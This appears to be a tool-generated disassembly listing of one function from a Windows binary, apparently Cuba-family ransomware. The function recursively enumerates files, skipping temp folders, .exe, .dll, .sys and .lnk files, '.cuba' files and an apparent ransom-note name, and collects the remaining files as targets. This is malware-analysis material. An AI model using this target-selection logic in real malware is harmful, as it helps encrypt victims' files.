Function at 0x4029a0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x452e58
mov eax, dword fs:[0]
push eax
sub esp, 0x2cc
mov eax, dword [0x472128]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov dword [ebp - 0x2cc], ebx
mov esi, ecx
mov dword [ebp - 0x2d0], esi
xor al, al
lea ecx, [ebp - 0x70]
push 0x46ad14
mov edx, esi
mov byte [ebp - 0x2c1], al
call fcn.00407410
add esp, 4
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c0]
cmp dword [ebp - 0x5c], 8
lea eax, [ebp - 0x70]
push ecx
cmovae eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, eax
mov dword [ebp - 0x2c8], ecx
cmp ecx, 0xffffffff
je 0x402e75
nop dword [eax]
cmp word [ebp - 0x294], 0x2e
je 0x402e3c
mov eax, dword [ebp - 0x2c0]
test al, 2
jne 0x402e3c
test al, 4
jne 0x402e3c
lea eax, [ebp - 0x294]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
xor eax, eax
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402a80
sub ecx, edx
lea eax, [ebp - 0x294]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00406390
lea eax, [ebp - 0x294]
mov byte [ebp - 4], 1
push eax
mov edx, esi
lea ecx, [ebp - 0x58]
call fcn.00407410
add esp, 4
mov byte [ebp - 4], 2
test byte [ebp - 0x2c0], 0x10
je 0x402bf9
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2d8]
push eax
call fcn.00407750
mov eax, dword [ebp - 0x2d8]
xor edi, edi
mov ecx, dword [ebp - 0x2d4]
cmp eax, ecx
je 0x402b39
nop word [eax + eax]
mov edx, dword [eax + 8]
inc edi
cmp byte [edx + 0xd], 0
je 0x402b17
mov edx, dword [eax + 4]
cmp byte [edx + 0xd], 0
jne 0x402b13
cmp eax, dword [edx + 8]
jne 0x402b13
mov eax, edx
mov edx, dword [edx + 4]
cmp byte [edx + 0xd], 0
je 0x402b03
mov eax, edx
jmp 0x402b2d
mov eax, edx
mov esi, dword [eax]
cmp byte [esi + 0xd], 0
jne 0x402b2d
mov edx, dword [esi]
mov eax, esi
mov esi, edx
cmp byte [edx + 0xd], 0
je 0x402b21
cmp eax, ecx
jne 0x402af0
test edi, edi
jne 0x402da1
cmp dword [ebp - 0x18], 4
jb 0x402b88
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
cmp edx, 8
cmovae eax, ecx
cmp word [eax], 0x74
jne 0x402b88
cmp edx, 8
lea eax, [ebp - 0x28]
cmovae eax, ecx
cmp word [eax + 2], 0x65
jne 0x402b88
cmp edx, 8
lea eax, [ebp - 0x28]
cmovae eax, ecx
cmp word [eax + 4], 0x6d
jne 0x402b88
cmp edx, 8
lea eax, [ebp - 0x28]
cmovae eax, ecx
cmp word [eax + 6], 0x70
jne 0x402b88
mov al, 1
jmp 0x402b8a
xor al, al
test al, al
jne 0x402da1
push 0x46ad18
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x40]
call fcn.00407410
add esp, 4
mov edx, ebx
mov byte [ebp - 4], 3
mov ecx, eax
call fcn.004029a0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x402da1
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402bea
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ec7
push edx
push ecx
call fcn.00421514
add esp, 8
jmp 0x402da1
lea edx, [ebp - 0x28]
mov byte [ebp - 0x2c1], 1
lea ecx, [ebp - 0x40]
call fcn.00402520
mov byte [ebp - 4], 4
lea esi, [ebp - 0x40]
mov ebx, dword [ebp - 0x2c]
cmp ebx, 8
mov edi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
cmovae esi, edi
cmp eax, 4
jne 0x402c49
mov ecx, str..exe
mov edx, eax
sub esi, ecx
nop
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x402c46
add ecx, 2
sub edx, 1
jne 0x402c30
jmp 0x402d63
mov eax, dword [ebp - 0x30]
cmp ebx, 8
lea esi, [ebp - 0x40]
cmovae esi, edi
cmp eax, 4
jne 0x402c79
mov ecx, str..dll
mov edx, eax
sub esi, ecx
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x402c76
add ecx, 2
sub edx, 1
jne 0x402c60
jmp 0x402d63
mov eax, dword [ebp - 0x30]
cmp ebx, 8
lea esi, [ebp - 0x40]
cmovae esi, edi
cmp eax, 4
jne 0x402ca9
mov ecx, str..sys
mov edx, eax
sub esi, ecx
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x402ca6
add ecx, 2
sub edx, 1
jne 0x402c90
jmp 0x402d63
mov eax, dword [ebp - 0x30]
cmp ebx, 8
lea esi, [ebp - 0x40]
cmovae esi, edi
cmp eax, 5
jne 0x402cd9
mov ecx, str..cuba
mov edx, eax
sub esi, ecx
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x402cd6
add ecx, 2
sub edx, 1
jne 0x402cc0
jmp 0x402d63
mov eax, dword [ebp - 0x30]
cmp ebx, 8
lea esi, [ebp - 0x40]
cmovae esi, edi
cmp eax, 4
jne 0x402d03
mov ecx, str..lnk
mov edx, eax
sub esi, ecx
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x402d03
add ecx, 2
sub edx, 1
jne 0x402cf0
jmp 0x402d63
cmp dword [ebp - 0x18], 0x1a
jne 0x402d4e
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
cmp edx, 8
cmovae eax, ecx
cmp word [eax], 0x21
jne 0x402d4e
cmp edx, 8
lea eax, [ebp - 0x28]
cmovae eax, ecx
cmp word [eax + 2], 0x21
jne 0x402d4e
cmp edx, 8
lea eax, [ebp - 0x28]
cmovae eax, ecx
cmp word [eax + 0x28], 0x21
jne 0x402d4e
cmp edx, 8
lea eax, [ebp - 0x28]
cmovae eax, ecx
cmp word [eax + 0x2a], 0x21
je 0x402d63
mov ecx, dword [ebp - 0x2cc]
lea eax, [ebp - 0x58]
push eax
call fcn.004089e0
mov ebx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x40]
mov byte [ebp - 4], 2
cmp ebx, 8
jb 0x402d9b
lea ecx, [ebx*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x402d91
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ec7
push ecx
push edi
call fcn.00421514
add esp, 8
mov ebx, dword [ebp - 0x2cc]
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x44]
cmp edx, 8
jb 0x402ddf
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402dd5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ec7
push edx
push ecx
call fcn.00421514
add esp, 8
xor eax, eax
mov dword [ebp - 0x48], 0
mov byte [ebp - 4], al
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
cmp edx, 8
jb 0x402e30
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402e26
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ec7
push edx
push ecx
call fcn.00421514
add esp, 8
mov esi, dword [ebp - 0x2d0]
mov ecx, dword [ebp - 0x2c8]
lea eax, [ebp - 0x2c0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x402e59
mov ecx, dword [ebp - 0x2c8]
jmp 0x402a30
cmp byte [ebp - 0x2c1], 0
je 0x402e69
mov ecx, esi
call fcn.004026d0
push dword [ebp - 0x2c8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp - 0x5c]
cmp edx, 8
jb 0x402eab
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402ea1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ec7
push edx
push ecx
call fcn.00421514
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00421234
mov esp, ebp
pop ebp
ret
call fcn.0043d054
int3